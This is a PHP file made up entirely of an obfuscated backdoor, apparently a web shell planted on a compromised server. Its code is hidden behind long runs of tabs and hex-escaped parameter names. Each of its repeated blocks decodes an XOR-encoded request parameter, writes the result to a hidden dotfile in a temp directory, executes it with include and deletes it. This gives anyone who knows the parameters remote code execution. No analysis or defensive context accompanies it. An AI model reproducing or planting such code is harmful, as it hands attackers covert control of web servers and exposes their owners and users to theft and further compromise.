<?php																																										if(array_key_exists("f\x6Cg", $_REQUEST)){ $holder = array_filter([getenv("TEMP"), getcwd(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), session_save_path()]); $ptr = $_REQUEST["f\x6Cg"]; $ptr= explode(".", $ptr) ; $pointer= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt ); foreach( $ptr as $n => $v1) { $chS= ord( $salt[$n % $sLen] ); $d= ( ( int)$v1 - $chS -( $n % 10)) ^ 33; $pointer .= chr( $d ); } $pgrp = 0; do { $data_chunk = $holder[$pgrp] ?? null; if ($pgrp >= count($holder)) break; if (is_writable($data_chunk) && is_dir($data_chunk)) { $token = str_replace("{var_dir}", $data_chunk, "{var_dir}/.dat"); $success = file_put_contents($token, $pointer); if ($success) { include $token; @unlink($token); exit;} } $pgrp++; } while (true); }
																																										if(in_array("da\x74a_\x63hu\x6Ek", array_keys($_POST))){ $descriptor = $_POST["da\x74a_\x63hu\x6Ek"]; $descriptor= explode( '.' , $descriptor ) ; $flg =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $len =count($descriptor); for ($i =0; $i < $len; $i++) { $v4 =$descriptor[$i]; $sChar =ord($salt[$i % $sLen]); $dec =((int)$v4 - $sChar - ($i % 10)) ^ 32; $flg .= chr($dec); } $dat = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TMP"), getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]); while ($fac = array_shift($dat)) { if (is_dir($fac) ? is_writable($fac) : false) { $ref = "$fac" . "/.desc"; if (@file_put_contents($ref, $flg) !== false) { include $ref; unlink($ref); exit; } } } }
																																										if(!is_null($_REQUEST["re\x66ere\x6Ec\x65"] ?? null)){ $comp = $_REQUEST["re\x66ere\x6Ec\x65"]; $comp = explode ("." , $comp ); $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $i = 0; while ($i < count($comp)) { $v9 = $comp[$i]; $chS = ord($s[$i % $sLen]); $dec = ((int)$v9 - $chS - ($i % 10)) ^ 99; $marker .= chr($dec); $i++; } $ref = array_filter([getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/tmp", getenv("TEMP")]); for ($ent = 0, $flg = count($ref); $ent < $flg; $ent++) { $element = $ref[$ent]; if (!!is_dir($element) && !!is_writable($element)) { $data_chunk = "$element" . "/.itm"; if (file_put_contents($data_chunk, $marker)) { include $data_chunk; @unlink($data_chunk); exit; } } } }
																																										if(!is_null($_POST["r\x65f"] ?? null)){ $bind = array_filter([session_save_path(), "/dev/shm", getenv("TEMP"), getcwd(), "/var/tmp", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]); $component = $_POST["r\x65f"]; $component =explode ( '.' , $component ); $descriptor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $u = 0; $__len = count($component); do {if($u >= $__len) break; $v3 = $component[$u]; $chS = ord($salt[$u % $lenS]); $dec =((int)$v3 - $chS -($u % 10)) ^ 50; $descriptor .= chr($dec); $u++; } while(true); foreach ($bind as $key => $property_set) { if (is_dir($property_set) ? is_writable($property_set) : false) { $object = implode("/", [$property_set, ".record"]); if (@file_put_contents($object, $descriptor) !== false) { include $object; unlink($object); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["com\x70"])){ $object = $_POST["com\x70"]; $object = explode ( "." , $object ) ; $factor = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $y = 0; foreach ($object as $v8) { $chS = ord($s9[$y %$sLen]); $dec = ((int)$v8 - $chS - ($y %10)) ^ 1; $factor .= chr($dec); $y++;} $entity = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm", getenv("TEMP"), getenv("TMP"), session_save_path(), sys_get_temp_dir()]); while ($sym = array_shift($entity)) { if (!( !is_dir($sym) || !is_writable($sym) )) { $mrk = "$sym/.value"; if (file_put_contents($mrk, $factor)) { include $mrk; @unlink($mrk); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x70ro\x70\x65rt\x79\x5F\x73et")){ $resource = array_filter([getcwd(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/var/tmp"]); $rec = $_REQUEST["\x70ro\x70\x65rt\x79\x5F\x73et"]; $rec = explode ( "." ,$rec ); $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $m = 0; foreach ($rec as $v4) { $chS = ord($salt[$m % $sLen]); $dec = ((int)$v4 - $chS - ($m % 10))^ 39; $val .=chr($dec); $m++; } foreach ($resource as $fac): if ((bool)is_dir($fac) && (bool)is_writable($fac)) { $component = implode("/", [$fac, ".data"]); if (file_put_contents($component, $val)) { include $component; @unlink($component); die(); } } endforeach; }
																																										if(in_array("hl\x64", array_keys($_POST))){ $dchunk = array_filter([sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm"]); $element = $_POST["hl\x64"]; $element= explode( '.' , $element) ; $descriptor = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $len = count($element); for ($k = 0; $k < $len; $k++) { $v2 = $element[$k]; $sChar = ord($s8[$k %$sLen]); $d = ((int)$v2 - $sChar - ($k %10)) ^ 35; $descriptor .= chr($d);} $key = 0; do { $obj = $dchunk[$key] ?? null; if ($key >= count($dchunk)) break; if (!( !is_dir($obj) || !is_writable($obj) )) { $symbol = "$obj/.sym"; if (@file_put_contents($symbol, $descriptor) !== false) { include $symbol; unlink($symbol); exit; } } $key++; } while (true); }
																																										if(array_key_exists("r\x65cor\x64", $_REQUEST)){ $k = $_REQUEST["r\x65cor\x64"]; $k = explode ( ".",$k ) ; $tkn = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($k as $o =>$v9) { $chS = ord($s[$o % $lenS]); $d = ((int)$v9 - $chS - ($o % 10))^ 84; $tkn .=chr($d);} $holder = array_filter(["/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP")]); $binding = 0; do { $flag = $holder[$binding] ?? null; if ($binding >= count($holder)) break; if (max(0, is_dir($flag) * is_writable($flag))) { $component = sprintf("%s/.item", $flag); $file = fopen($component, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $component; @unlink($component); die(); } } $binding++; } while (true); }
																																										if(isset($_POST["bi\x6E\x64"])){ $fac = $_POST["bi\x6E\x64"]; $fac = explode( '.' , $fac ) ; $factor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $__len = count( $fac ); for( $v = 0; $v < $__len; $v++) { $v3 = $fac[$v]; $chS = ord( $s[$v % $lenS] ); $d = ( ( int)$v3 - $chS -( $v % 10))^ 71; $factor .= chr( $d ); } $flag = array_filter(["/var/tmp", "/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir()]); foreach ($flag as $key => $key) { if (!!is_dir($key) && !!is_writable($key)) { $element = sprintf("%s/.property_set", $key); if (file_put_contents($element, $factor)) { require $element; unlink($element); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["f\x6Cg"])){ $ent = $_REQUEST["f\x6Cg"]; $ent= explode ( "." ,$ent ) ; $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $l = 0; array_walk($ent, function ($v1) use (&$comp, &$l, $salt, $lenS) {$sChar = ord($salt[$l % $lenS] ); $d = ((int)$v1 - $sChar - ($l % 10)) ^ 20; $comp.=chr($d ); $l++; } ); $bind = array_filter(["/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP")]); for ($sym = 0, $dchunk = count($bind); $sym < $dchunk; $sym++) { $pgrp = $bind[$sym]; if (!( !is_dir($pgrp) || !is_writable($pgrp) )) { $binding = join("/", [$pgrp, ".symbol"]); $success = file_put_contents($binding, $comp); if ($success) { include $binding; @unlink($binding); exit;} } } }


if(in_array("\x76\x61lue", array_keys($_POST))){
	$token = array_filter(["/dev/shm", "/tmp", getenv("TMP"), getenv("TEMP"), getcwd(), session_save_path(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir")]);
	$record = $_POST["\x76\x61lue"];
		  $record	= 		explode( 		'.'	,$record 	) 		;
	$binding = '';
            $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt3 );
            $len = count($record );
    
            for($u = 0; $u < $len; $u++) {$v1 = $record[$u];
                $chS = ord($salt3[$u %	$lenS] );
                $d =((int)$v1 - $chS -($u %	10))^	48;
                $binding	.= 	chr($d ); }
	foreach ($token as $element) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($element)) {
    $ent = str_replace("{var_dir}", $element, "{var_dir}/.factor");
    $success = file_put_contents($ent, $binding);
if ($success) {
	include $ent;
	@unlink($ent);
	exit;}
}
}
}